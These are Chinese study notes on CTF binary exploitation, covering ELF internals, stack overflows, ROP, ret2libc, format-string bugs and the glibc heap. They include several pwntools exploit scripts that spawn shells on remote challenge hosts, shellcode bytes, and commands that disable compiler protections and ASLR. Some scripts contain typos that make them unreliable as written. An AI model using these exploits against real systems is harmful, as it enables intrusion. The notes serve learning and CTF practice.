PWN
from pwn import *
# p = process("./pwn1")
# context.log_level = "debug"
p = remote("node4.buuoj.cn", 29248)
#向目标主机,对应端口发送连接
payload = "a" * (0xf + 8) + p64(0x401187).decode("iso-8859-1")
# 填充之后,覆盖返回地址。
# p32,p64打包为二进制;u32,u64解包为二进制
p.sendline(payload)
# 发送我们编好的恶意代码
p.interactive()
#与远程服务器中的shell交互,得到控制权
- exploit:用于攻击的脚本与方案
- payload:攻击载荷,是目的进程背劫持控制流的数据
- shellcode:调用攻击目标的shell的代码
二进制基础
从C源代码到可执行文件的生成过程
- 编译(gcc c文件:生成可执行文件.out; gcc -S c文件:生成汇编代码文件.s)
- 由C语言代码生成汇编代码
- 汇编
- 由汇编代码生成机器码
- 链接
- 将多个机器码的目标文件链接成一个可执行文件
%!xdd:用于查看文件的二进制内容
%!xdd -r :还原
./可执行文件名
可执行文件
- 广义上:文件中的数据是可执行代码的程序
- .out、.exe、.sh、.py
- 狭义上:文件中数据是机器码的文件
- .out、.exe、.dll、.so
- Windows:PE
- 可执行程序(.exe)
- 动态链接库(.dll)
- 静态链接库(.lib)
- Linux:ELF
- 可执行程序(.out)
- 动态链接库(.so)
- 静态链接库(.a)
广义上的可执行文件,文件本身是没有执行权限的,和用户权限无关。可以通过命令给文件赋权。
chmod +w/r/x 文件名
在Linux系统中并不是用文件后缀来判定类型的。Windows是通过后缀名来判断的。
- ELF文件头表(ELF header)
- 记录了ELF文件的组织结构(操作系统通过这个表创建一个进程映像)
- 程序头表/段表(Program header table)
- 高数程序如何创建进程
- 生成进程的可执行文件必须拥有此结构 段表是用来标识不同进程映像的权限的(.text :代码段)
- 重定位文件不一定需要
- 节头表(Section header table) 用来组织ELF文件各个节在磁盘上节的信息 plt用来解析动态链接库中的具体地址的代码
- 记录了ELF文件的节区信息
- 用于链接的目标文件必须拥有此结构
- 其他类型目标文件不一定需要
ELF的执行
需要将在磁盘上的程序载入内存中。
在磁盘中的是节,映射到内存就是段。
在执行过程中,存储在磁盘中具有相同权限的节会被映射到内存中合成一个段。
- stack:程序栈,用来管理函数调用的状态
- Heap:用来给用户动态申请内存和调用
objdump -s .elf :用来查看文件的节(二进制显示)
gdb中vmmap命令可以直接查到内存空间的分布
进程虚拟地址空间
操作系统管理所有硬件,程序在运行时也是由操作系统通过虚拟地址空间的映射去管理。这样就避免了直接使用物理地址,避免他人能够直接通过物理地址对主机进行恶意程序调用。如果想调用物理硬件就需要用到编程接口(系统调用)。
在操作系统中,对每一个进程应用都是分配的4GB的虚拟内存。在32位4GB的内存中,操作系统会用1GB来存储操作系统的代码,剩余3GB给用户,操作系统的1GB是给所有进程共享的。虚拟内存mmap段中的动态链接库仅在物理内存中装载一份。(windows:2GB给用户,2GB给内核)
段(segment)与节(section)
段视图用于进程的内存区域的rwx权限划分,节视图用于ELF文件编译链接时与在磁盘上存储时的文件结构的组织。一个段包含了多个节。
- 代码段(Text segment)包含了代码与只读数据
- .text节
- .rodata节(read only data)
- .hash节
- .dynsym节
- .dynstr节
- .plt节(解析动态函数的实际地址)
- .rel.got节
- …
- 数据段(Data segment)包含了可读可写数据
- .data节(声明了的全局变量)
- .dynamic节
- .got节
- .got.plt节
- .bss节(还未声明的全局变量)
- …
- 栈段(Stack segment)
大端序和小端序
- 小端序:低位存放低地址、高位存放高地址
- 大端序:低位存放高地址、高位存放低地址
程序的装载与进程的执行
amd64寄存器结构
- rax:8 Bytes
- eax:4 Bytes
- ax: 2 Bytes
- ah: 1 Bytes
- al: 1 Bytes
部分寄存器的功能
- RIP:存放当前执行的指令的地址
- RSP:存放当前栈帧的栈顶地址
- RBP:存放当前栈帧的栈底地址
- RAX:通用寄存器。存放函数返回值
静态链接的程序的执行过程
- 运行一个binary程序,然后通过调用fork这个函数去复制一份虚拟内存,逐层的通过用户级函数申请调用,到内核级函数开始运行,准备好内存之后,开始准备环境。最后执行代码。
动态链接的程序的执行过程
- 它在准备好内存之后,需要通过链接器(ld.so)先其他动态链接库获取代码。
栈溢出基础
函数调用栈:函数调用栈是程序运行时在内存中的一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态杯保存在栈内,被调用函数(callee)的状态杯压入调用栈的栈顶,在函数调用结束时,栈顶的函数(callee)状态杯弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
Stack(栈)在x86默认的情况下是8Mb
这个栈的概念与恢复数据的概念相似。删除数据只是将数据文件标记为可覆盖重写,如果删除之后,并没有在原有位置进行新数据的写入,那么数据就还是能恢复的。即使你在回收站里都将其删除了。
攻击思路:最终目的是获取shell!要得到shell我们就需要控制程序的执行流,控制程序流就是控制eip(rip)指针的指向。要控制eip就要控制能为eip寄存器赋值的数值区域。所以栈溢出的核心就是覆盖返回地址,通过返回地址控制eip的走向。
缓冲区溢出(Buffer overflow)
本质是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域
- 栈溢出(Buffer overflow)
- 最常见、漏洞比例最高、危害最大的二进制漏洞
- 在CTF PWN中往往是漏洞利用的基础
- 堆溢出(Heap overflow)
- 显示中的漏洞占比不高
- 堆管理器复杂,利用花样繁多
- CTF PWN中的常见题型
- BSS溢出(BSS overflow)
- 显示中与CTF比赛中占比都不高
- 攻击效果依赖于BSS上存放了何种控制数据
gets函数:非常经典的栈溢出函数,因为gets函数本身是不限制输入字符的长度的,所以很好利用。遇到基本就是一个栈溢出漏洞。
pwn工具
-
IDA用于对二进制文件进行分析,一般是用于静态分析代码
-
pwntools,一个python下的第三方库,用于编写exp
函数介绍:
连接
process函数:用于连接程序。在得到二进制文件之后我们先尝试在本地程序进行连接,对exp进行测试。
remote函数:用于远程连接主机
接收
recvline函数:如果我们连接的程序有字符串的返回,且只有一行,那就用这个函数接收
recv函数:当有多行的时候,就用recv接收。
recvuntil函数:当接收到某个标志字符后就结束recvuntil(b’😂
发送
send函数:这个就是在我们需要输入的时候,输入payload的时候就用这个函数
sendline函数:这个会在我们输入的字符串末尾自动补上换行符。send需要人为添加换行符,不然会一直读取。
sendlineafter函数:这个函数会在接收到某个特定字符之后,再开始发送。sendlineafter(b’:',str(123456))
交互
interactive函数:直接就进入了与远程主机/本地程序的交互模式了
shellcode
shellcraft函数:在没有后门函数,需要我们手动写入shellcode时,这个函数就能帮助我们。shellcraft.sh()这就表示给我们shellcode并调用一个shell。
直接使用是不行的,要将其转换成机器码asm(shellcraft.sh())。asm是pwn库中转换成机器码的函数。
这里显示的是32位的。如果需要amd64位的,可以直接shellcraft.amd64.sh()就会生成一个amd64位的shellcode。.ljust(112,b’A’)在写这个shellcode之前,要声明整个python脚本的环境
context.arch = "amd64" #用于声明这是一个amd64的攻击对象
在输出时P32、P64是打包成不同位数的字节流;b“abcdskjhahf”也是
flat函数,这个函数接收一个列表参数,这个列表中的每一项都会转换成字节型的数据,并且会把不足一个字长的数据填补起来。
pwntools还能对文件中的字符进行检索(跟IDA中一样)
- elf = ELF(“./文件”)//对文件载入分析
- elf.search(b"目标字符串") 这样返回的是一个generator,要改变输出格式就还得加
- next(elf.search(b"目标字符串")) 这样能得到目标字符的地址,但是是以十进制形式显示
- hex(next(elf.search(b"目标字符串")))这样就对了
- elf.symbols[“puts”] 也可以对一个静态文件创建对象,这个函数就是查看静态文件中puts函数的位置
- elf.symbol[“puts”]-elf.symbol[“system”] 用来查看两个函数之间的偏移,这可是算偏移呀,pwn入门呀
- context.log_level = “debug” 打开执行脚本的调试模式,在运行报错之后,可以用这个去看报错的原因。
-
二进制文件反编译中常见C语言函数解释:
setbuf函数:用来关闭缓存区的。因为默认的输入的io函数会开辟一段缓冲区,然后在缓冲区满了之后再一次性的填入目标位置。
例: setbuf(stdin,0); setbuf(stdout,0); puts("Have you heard of buffer overflow?"); //关闭了缓冲区之后,原本puts中的字符串会先放入缓冲区,现在缓冲区关闭,则会直接显示省去载入缓冲区的过程。 //stdin:标准输入;stdout:标准输出。
fflush函数:手动清理缓冲区。
strtol函数:将字符串调整为长整型。
read函数:读取。
例: read(0,&buf,0xAu); //第一个参数表示输入模式,0代表标准输入;1代表标准输出;2代表标准错误 //第二个参数表示读取地址,从buf处读取数据 //第三个参数表示读取长度,0xAu就是十六进制数,u代表是无符号数据类型,十进制:10。读取长度为10。
-
gdb:Linux环境下的C语言调试工具
-
pwndbg:pwndbg是gdb中的一个插件,在使用时直接对可执行的二进制文件输入命令(gdb 可执行文件),就会自动运行pwndbg。这个常用来动态调试,在我们需要看某个程序在运行时的内存状态时,就可以使用pwndbg。
需要注意的是,在使用pwndbg进行动态调试的时候,需要先对程序下断点(breakpoint/b 函数名 or 地址)b main。
运行:rin/r
步进:s
步过:next/n
查看堆栈:stack (后面可以加数量,查看堆栈范围)
查看虚拟内存:vmmap
插入断点:b main(主函数处)、b 程序代码的行号、b 地址
在偏移地址插入断点:b *$rebase(0x1820)
查看所有断点:info b
删除断点:d 断点编号
查看plt节中内容:plt
查看got节中内容:got
查看某地址的内容:x 地址、x/20 地址
查看反汇编:disass
继续运行:c
显示函数调用关系:backtrace
start:直接停在main函数处或者程序入口
返回上级函数:return
通过PID调试程序:attach PID
-
gcc编译器
-fno-pie:关闭pie;
-g:编译时保存C语言代码
-o:编译
-m32:编译成32位程序
–static:静态链接编译
-
ropgadget
查询文件中的各种gadget,通过拼接处gadget链来获得shell
-
one_gadget
查询libc文件中的gadget。libc这种静态链接文件都是会看PIE的,里面的地址也都是随机的相对偏移地址。在大量的函数中,就会出现那种能直接获得shell的gadget,所以叫one_gadget。但是这类gadget有使用条件,需要满足一些寄存器要求,所以可以没事拿几个尝试用一下,说不定就成了,这就是 一发入魂!!! 如果不成,那还是手动去写吧。
one_gadget 文件名
题型
ret2text:这一类一般有个后门函数,可以直接通过溢出覆写返回地址为后面函数地址,从而得到shell。
ret2shellcode:这一类是没有后门函数,需要直接用过手动输入的方式将shellcode存进缓冲区中。
篡改栈帧上的返回地址为攻击者手动传入的shellcode所在缓冲区地址,初期往往将shellcode直接写入栈缓冲区,目前由于the NX bits保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向bss缓冲区写入shellcode或向堆缓冲区写入shellcode并使用mprotect赋予其可执行权限。
内存保护措施
The NX bits(the No-eXecute bits)
- 程序与操作系统的防护措施,编译时决定是否生效,由操作系统实现
- 通过在内存也的标识中增加“执行”位,可以标识该内存页是否可以执行,若程序代码的EIP执行至不可运行的内存页,则CPU将直接拒绝执行“指令”造成程序崩溃
ASLR(Address Space Layout Randmization)
- 系统的防护措施,程序装载时生效
- /proc/sys/kernel/randomize_va_space=0:没有随机化。即关闭ASLR
- /proc/sys/kernel/randomize_va_space=1:保留的随机化。共享库、栈、mmap()以及VDSO将被随机化
- /proc/sys/kernel/randomize_va_space=2:完全的随机化。在randomize_va_space=1的基础上,通过brk()分配的堆内存空间也将被随机化
- echo 0/1/2 > /proc/sys/kernel/randomize_va_space
PIE(Position-Independent Executable)
- 程序的防护措施,编译时生效
- 随机化ELF文件的映射地址
- 在磁盘上本来就有的内容,就是ELF文件映像(Text段、Data段、Bss缓冲区)
- 因为NX对栈进行了权限限制,无法执行,而bss本身就具有执行权限,这也就是PIE存在的一个原因
- 开启后ASLR之后,PIE才会生效
Canary
- 程序的防护措施,编译时生效
- 在刚进入函数时,在栈上放置一个标志canary,在函数返回时检测其是否被改变。以达到防护栈溢出的目的
- canary长度为1字长,其位置不一定与ebp/rbp存储的位置相邻,具体得看程序的汇编操作
- 直接在IDA中打开,如果发现反编译之后有_readfsqword(0x28u)这行代码就是在栈上放置了一个canary,readfsqword: read fs段寄存器 中偏移28位置的数值当canary。
#!/bin/sh
gcc -fno-stack-protector -a execstack -no-pie -g -o 输出目标文件的名字 c语言源文件
//前面是关闭栈保护canary,之后execstack是关闭NX,关闭PIE -g能够看到C语言代码,-o输出目标文件的名字
//这段gcc命令是编译C语言程序且不开启任何保护
返回导向编程(ROP Return Oriented Programming)
ret2syscall
-
系统调用
-
操作系统提供给用户的编程接口试提供访问操作系统所管理的底层硬件的接口。本质上试提供一些内核函数代码,以规范的方式驱动硬件。X86通过int 0x指令进行系统调用、amd64通过syscall指令进行系统调用
ldd,该命令可以查看可执行文件所用到的所有动态调试库
-
系统在调用时,会用寄存器去存入系统调用的编号和参数;例:[eax = 4(编号); ebx = 1; ecx &“Hello world!”; edx = 12] +int 0x80
-
-
系统调用过程
-
mov eax,0xb //在调用过程中eax存储的永远都是系统调用号 mov ebx,["/bin/sh"] //ebx,ecxedx这些寄存器用来存储参数 mov ecx,0 mov edx,0 int 0x80 //当参数传完之后就会用到int 0x80这样一个指令进行调用 //这里的int不是整数的int,而是中断的意思,中断有一系列的中断序列号。0x80就是系统调用的中断 =>execve("/bin/sh",NULL,NULL) //上述的汇编代码就相当于是执行这样一个函数
在程序中如果存在这样一段代码,那么就可以得到shell。rop则是通过不断跳转将零散的指令拼接起来达到获取shell的效果。
-
-
pop ret
-
在代码中有这种特殊的汇编指令pop_eax_ret,这样的指令就能帮助我们在堆栈中编写我们想要的数据后再跳转到该指令然后在返回。
-
工具:ROPgadget
ROPgadget --binary 文件名 --only “代码/指令”(例“pop | ret” pop或ret)
ROPgadget --binary 文件名 --only “pop|ret” | grep eax(管道符用于将前面的输出作为后面的输入,grep则是对其进行筛选,eax是我们想要的结果)
-
#ROPROP-exp 看懂exp也基本能明白其原理
from pwn inport *
io = process("./二进制文件")
pop_eax_ret = 0x080bb196 #这些汇编代码和字符的地址全是通过ROPgadget和IDA找到
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80h = 0x08049421
bin_sh = 0x080be408
payload = flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])
io.sendline(payload)
io.interactive()
动态链接与静态链接
静态链接和动态链接第一个最大的区别就是文件大小。一个简单的hello world C语言代码,用静态链接的方式编译会有上百kb,而使用动态链接编译的只有几kb。
查看文件信息会发现只有链接方式不同,动态链接的文件信息中还会记录链接器(ld.so)的信息。而实际上从文件大小就可以知道动态链接与静态链接的区别,静态链接会将库函数写入ELF文件本身,动态则只是做一个标记不实际写入库函数。在函数需要时,通过链接器和系统中安装的C语言环境来进行调用。
-
动态链接
-
程序装载进入内存时加载库代码解析外部引用,在程序从编译到执行的过程中,动态链接到装载才能看到库函数
动态链接中库函数被完整的载入了内存中,但是并不知道库函数的真实地址。当程序第一次开始要调用库函数时,会在程序的代码段有一个plt节,在plt节中存放着用于解析库函数真实地址的代码,然后将解析出来的真实地址存放到数据段中的got.plt节中。之后调用就直接从got.plt节中去获取真实地址,跳转到库函数所在的真实地址。
-
使用ldd 文件名,就能查看到文件装载的是本地的哪一个动态链接库
-
-
静态链接
- 链接器在编译链接时将库代码加入到可执行程序中,静态链接在链接时就可以看到库函数
动态链接线管结构
- .dynamic section
- 提供动态链接相关信息
- link_map
- 保存进程载入的动态链接库的链表
- 函数 _dl_runtime_resolve
- 装载器中用于解析动态链接库中函数的实际地址的函数,就是plt节中调用的函数,它会将结果写入got.plt节中。
- .got(全局偏移量表)
- 保存了程序中所有的变量地址
- .got.plt
- 保存了程序中所有的函数地址
plt表与got表的地址转换
在动态链接中,第一次调用库函数时进入库函数后先跳转到plt表,plt表会习惯性先直接去got.plt表中寻找地址,但此时go.pltt表中还没有存入库函数的地址,所以会直接从got.plt表中返回plt,然后传入表明我们要调用的库函数的参数,调用__dl_runtime_resolve函数得到实际地址,并把实际地址填入got.plt表中。下一次调用时就直接可以用实际地址了。
ret2libc
篡改栈帧上自返回地址开始的一段区域为一系列gadget的地址,最终调用libc中的函数获取shell。
在编写ret2libc的payload时的细节。ret2libc漏洞利用的主要思路就是通过栈溢出在返回地址处覆写system这样的可调用shell的函数地址,使其直接调用system(“/bin/sh”)得到shell。由于我们的利用方式是ret system,而非正常流程中的call system,所以在编写payload的时候需要注意参数的位置。在正常调用system函数的情况下,栈帧之后先存放了system函数的ebp,再存放了一个system的返回地址。
所以我们在编写payload时还需要为其伪造一个返回地址,exit。在实际攻击过程中可能存在堆栈中除了我们调用的system函数外,中间还穿插了put之类的其他函数,这时候我们要注意栈平衡,函数在调用是参数的位置以及多个函数在一起时,执行完函数的栈平衡问题。在只有两个函数的情况下,我们可以直接
用这样的方式去构造,保证每一个函数都能得到对应的参数。而函数过多,那么我们就需要在中间穿插pop_ret这些指令来平衡堆栈
做题的注意事项:在做题时需要不能直接利用本地得到的地址去打,因为环境的原因,而从本地转到远程就是用偏移量去打,通过题目得到的泄露地址,在泄露地址的基础上进行偏移。
Linux默认页的大小是4kb(2的12次方,12位三字节),页映射导致的页对齐。
查看动态函数库中的某函数
小结
到目前为止,学了pwn中最基础的栈溢出。最开始了解pwn的用意,nc远程连接主机,得到shell;之后最简单的栈溢出ret2text,通过修改返回地址控制程序流执行后门函数system(“/bin/sh”);难度升级----没有了后门,这时候我们开始自己创一个shellcode,通过将shellcode写入栈中,然后将返回地址改写成shellcode的所在位置,帮助我们在栈中执行该shellcode;之后开始接触保护机制,初级保护机制NX,这个机制让我们不能栈失去了执行权限,我们往栈中写的shellcode也没办法执行了,其实这时候花样就变多了。我们可以在IDA中查看文件中调用的库函数是静态链接还是动态链接,静态链接就从大量的库函数中找垃圾gadget,通过ROPgadget把大量零散的POP|Ret反复调用,向其中写入shell完成system(“/bin/sh”)的编入使用。(当然现在也有检测机制检测是否频繁调用pop|ret)之后就是动态链接,动态链接绕不过的一个点就是plt表与got表的转换,即使是地址随机化了,system函数的位置不确定,我们依然可以用plt去执行system函数,通过往返回地址写入system@plt的地址然后并在栈中安排好参数的位置,我们也可以完成一次shell的获取。之后就是没有system,没有漏洞字符串/bin/sh,但是给了我们一个libc文件,我们通过这个静态函数库去查puts函数与system函数的相对位置算出偏移,然后根据文件pwn文件中的puts函数来推出system函数的位置来,这样就解决了函数调用的问题,之后就是关键字符的问题,有的函数名本身就带有sh这个关键词,所以直接关键词搜索填入。直呼,牛逼!!!
ret2libc3
from pwn import *
io = remote("106.54.129.202",10002)
#这里是远程连接
elf = ELF("./ret2libc3")
libc = ELF("lib-2.23.so")
#这里创建了两个elf对象,便于针对对象做出一系列操作,一个是我们的二进制文件,另一个是静态库文件
io.sendlineafter(b":",str(elf.got["puts"]))
#这里的在接收到“:”之后,发送一个puts函数的地址到栈中,给下面的read函数
io.recvuntil(b":")
#这里的接收分成了两个部分,第一个部分是接收“:”及之前的数据
libcBase = int(io.recvuntil(b"\n",drop = True),16) - libc.symbols["puts"]
#这里是接收到换行符之前的,并且drop=True就是将标志字符(换行符)丢弃。
#接收到的数据以十六进制显示,整形。
#将接收到的地址与静态函数库中的puts函数地址做偏移计算,得到基地址
success("libcBase -> {:#x}",format(libcBase))
#这里是一个设置的调试点,如果成功了就打印,格式化输出结果嘛
payload = flat(cyclic(60),libcBase + libc.symbols["system"],0xdeadbeef,next(elf.search(b"sh\x00")))
#用cyclic生成了60个垃圾字符,然后放入system函数的地址,0xdeadbeef是为堆栈平衡随意填充的数据,然后调用出现的sh并填充进去,加了个截断符。
io.sendlineafter(b":",payload)
#最后发送payload
io.interactive()
#使用one_gadget
#one_gadget = libcBase + address
#payload = flat(cyclic(60),one_gadget)
X64与32位在操作时的细微差别:在64位的系统中,前6个参数会依次存放于rdi、rsi、rdx、rcx、r8、r9寄存器中,第七个参数开始才会存入栈中。X86就是直接将参数存入中栈。在传参时只需要去执行POP rdi ret;adr_bin/sh,这样将我们要调用函数的参数写进rdi中再调用函数就可以了。
rop小技巧:在64位程序中如果有 __libc_csu_init这个函数,在很大程度上可以利用其中的gadget来进行寄存器的填值。很多寄存器都可以,所以安排好参数的位置就能准确地填入寄存器中,且执行shell。
主动泄露地址:在进阶的ret2libc中是不会主动显示函数地址,需要我们去主动让其泄露地址。观察是否有函数可以做到地址泄露,然后控制rop链,使其在泄露完地址后再次回到函数以便我们再次进行溢出攻击。
#level3_exp.py
from pwn import *
local = process("./level3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#载入文件,创建动态库的对象
e = ELF("./level3")
#创建pwn文件的对象
pad = 0x88
#已知的覆盖栈的垃圾字符长度
vulfun_addr = 0x0804844B
#因为没开PIE,所以我们可以确定溢出函数地址
write_plt = e.symbols['write']
write_got = e.got['write']
payload_1 = b'A'*pad+b"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
#填充垃圾字符,然后执行write函数,把write的地址泄露出来
#执行完write函数,从新回到溢出函数处
local.recvuntil(b"Input:\n")
local.sendline(payload_1)
write_addr = u32(local.recv(4))
#把接收到的write函数的地址给解包出来
#calculate the system_address in memory
libc_write = libc.symbols['write']
#通过库函数中的地址与得到的靶机上的地址做比对,算出偏移值
libc_system = libc.symbols['system']
libc_sh = next(libc.search(b'/bin/sh'))
#查看关键字符,找到地址后并将其转变成十六进制
system_addr = write_addr-libc_write+libc_system
sh_addr = write_addr-libc_write+libc_sh
payload_2 = b'A'*pad+b"BBBB"+p32(system_addr)+b"dead"+p32(sh_addr)
local.sendline(payload_2)
local.interact()
栈是一块很大的内存区域,其中有很多的栈帧,栈帧存储了函数的状态。在栈中出现的第一个栈帧是main函数的栈帧,main函数之前的代码是没有栈帧的。main函数的装载,首先需要运行程序本身中的_start函数,之后在去调用库函数libc中的__libc_start_main这个函数,最后执行完一些终端指令再把main函数装载到栈中。而在装载到main函数之前,栈中存储的全是环境变量。
花式栈溢出
栈迁移
栈迁移的主要思想是,在返回地址处,把存储的之前的原来ebp栈底的值,覆写成其他可执行区域的位置,将返回地址处改写为修改esp的地址gadget。
格式化字符串漏洞
在使用printf时,要求格式化输出字符,%x,%d,%c等,然后再根据后面传入的参数地址,去打印出来。在执行printf函数的过程中,如果我们没有传入参数的地址,那么它会自动地去栈中相应位置读取数据进行打印。
格式化字符串的参数:
-
%x:将指定地址的值以十六进制形式输出。
-
%p:直接打印指定变量的地址。
-
%s:将指定地址的值解析成字符串之后显示输出。
-
%s使程序崩溃:
利用格式化字符串漏洞,像其中输入若干个%s%s%s%s%s%s%s%s,就可以使程序崩溃。这是因为站上不可能每个值都对应了合法的地址,所以总是会有某些地址可以使程序崩溃。这种利用方式虽然不能使攻击者本身控制该程序,但是这样能使得程序不可用。在远程服务中如果有这样一个格式化字符串漏洞,然后通过这种方式攻击,就会使其服务崩溃,进而使得用户不能够访问。
-
printf函数的执行机制:
-
参数:
-
格式化参数
格式化参数就是,对变量的输出格式进行要求的参数。在使用printf的时候,它会根据格式化参数的个数去读取并打印数据,而不是依据变量参数。
这个参数同样是被存在了栈中的,使用传入其指针。
%n$s,还可以读取第n个偏移处的地址并解析为字符串。
-
变量地址参数
同样是存在于栈中,需要时去传入指针。
-
-
c语言机制:
-
读取机制
在内存中读取字符串,如果遇到了0x00,截断符就表明这个字符串到头了。
-
取用机制
在使用是不会直接将字符串进行取用,而是通过指针。
指针是C语言的一大特色,它帮助我们能去接触到内存(这样不安全),而现在其他高级语言都做了较好的封装,这使得我们不能像C语言一样那么直接轻易地去接触内存。也是因为C语言非常接近底层,所以运行效率是很高的。
-
字符串截断漏洞
在一段字符串中,或许我们通过改变其截断符,我们就能泄露出其他数据。
-
格式化泄露任意地址的值:
格式化字符串漏洞的关键在于利用格式化参数,格式化参数是一个会存储在栈上的变量,这个变量如果被我们修改成指定地址,那么printf在执行时就会读取到该处的内容。但是单纯的地址变量是不能够获取到我们想要的内容的,所以在变量之后我们要加上格式化参数去偏移读取并解释我们输入地址的内容。
badaddress=0x8042f3ec%8$s;
printf(badaddress);
#address content
#bss:0x8042f3ec flag{xx_xxx_xx}
覆盖内存:
格式化参数:%n,不输出字符,只把已经成功输出的字符个数写入对应的整型指针参数所指的变量。(%n,是写入一个int型数据,四个字节)
- 覆盖栈内存
- 覆盖任意地址内存(这些和读取的方法基本一样,只是参数不同了f)
还可以使用printf去泄露canary的值,用很多%p去读取canary。
可以去改写栈中数据,起始去读取got表里面的值,做到内存泄露。
堆
概念
- 堆是虚拟地址空间的一块连续的线性区域
- 提供动态分配的内存,允许程序申请大小未知的内存
- 在用户与操作系统之间,作为动态内存管理的中间人
- 响应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序
- 管理用户所释放的内存,适时归还给操作系统
各种堆管理器
- dlmalloc - General purpose allocator
- ptmalloc - glibc
- jemalloc - FreeBSD and Firefox
- tcmalloc - Google
- libnumem - Solaris
堆管理器并非由操作系统实现,而是存在于shared libraries由libc.so.6链接库系统调用实现。封装了一些系统调用,为用户提供方便的动态内存分配接口的同时,力求高效地管理系统调用申请来的内存。
申请内存的系统调用
-
brk(break)
在data段的末尾就被称作brk,表示data段结束的地方。申请内存就是将这里的brk进行扩展。每一次调用都是以页为单位,然后从物理内存中映射到虚拟内存中的。
-
mmap
shared libraries段实际上就是mmap(memory map:内存映射)。每次的申请都是从物理内存中映射到虚拟内存中。
-
调用方式的选择:
- 主线程可以用brk,也可以用mmap
- 子线程只能用mmap
- 主线程如果申请内存过大,会直接在mmap获得一块很大的空间,如果是小空间就直接在data段扩展brk
堆管理器如何工作
-
arena(内存分配区)
操作系统 ----> 堆管理器 ----> 用户
物理内存 ----> arena ----> 可用内存
堆管理器与用户的内存交易发生于arena中,物理内存中所可被申请使用的都会被存放在brk或者mmap中,然后arena中有记录这些存储空间的信息便于分配管理。因为一个进程中会存在多个线程,所以一个进程中会有多个arena。进程是操作系统资源分配的基本单位。
-
chunk
用户申请内存的单位,也是堆管理器管理内存的基本单位。malloc()返回的指针指向一个chunk的数据区域。一个chunk是堆管理器管理内存的最小单位,也是用户获取内存的最小单位。
-
结构:
- malloc chunk
-
- free chunk(四种)
-
top chunk
每次我们获取的都是一个很大的内存区域,而使用的时候往往只用到了一部分,剩下的大部分就被称为top chunk。一段arena只有一个top chunk
-
last remainder chunk
在我们寻找大小合适的chunk时,我们首先会去寻找fast bins chunk 如果没有合适的,那么就去unsorted bins chunk中看,把free chunk分类合并,找到一块大小大于等于我们所需求的chunk,如果大了,就对其进行截取。
> chunk在libc中的实现是通过一个结构体
>
> ```c
> struct malloc_chunk{
> INTERNAL_SIZE_T prev_size;
> INTERNAL_SIZE_T size;
>
> strucct malloc_chunk* fd;
> strucct malloc_chunk* bk;
>
> strucct malloc_chunk* fd_nextsize;
> strucct malloc_chunk* bk_nextsize;
> }
> ```
>
> 只有栈的存储空间是反的,堆是从低地址向高地址写。
-
prev size的复用:当我申请内存超出了之前的空间大小,范围到了prev size时,prev size的位置可以被占用。
-
bin(回收站):bin本身是个链表,里面它会将不同大小的free chunk组织起来,而bin链又是由arena管理的。
struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; };
- fast bins
-
bins[7];默认是有七个bins
-
单向列表
-
LIFO(last in first out)
-
管理16,24,32,40,48,56,64Bytes的free chunks(32位下默认)
-
其中的chunk的in_use位(下一个物理相邻的chunk的P位)总为1
P位总为1,是为了保持其不被合并,大小固定,这样在回收使用的时候还是能快速的找到这么对应大小的chunk。
-
unsorted bin
-
bins[1]
-
管理刚刚释放还未分类的chunk
可以视为空闲chunk回归所属bin之前的缓冲区
-
-
small bins
- bins[2]~bins[63]
- 62个循环双向链表
- FIFP
- 管理16,24,32,40……,504Bytes的free chunks(32位下)
- 每个链表中存储的chunk大小都一致
-
large bins
- bins[64]~bins[126]
- 63个循环双向链表
- FIFO
- 管理大于504Bytes的free chunks(32位下)
use after free
double free
fastbins attack
unsorted attack
from pwn import *
p=precess("./echo2")
elf=ELF("./echo2")
p.recvuntil("hey,what's your name?:")
shellcode=b"\x31\xf6\x48\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntile(b"> ")
p.sendline(b"2")
payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit?(y/n)")
p.sendline(b"n")
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()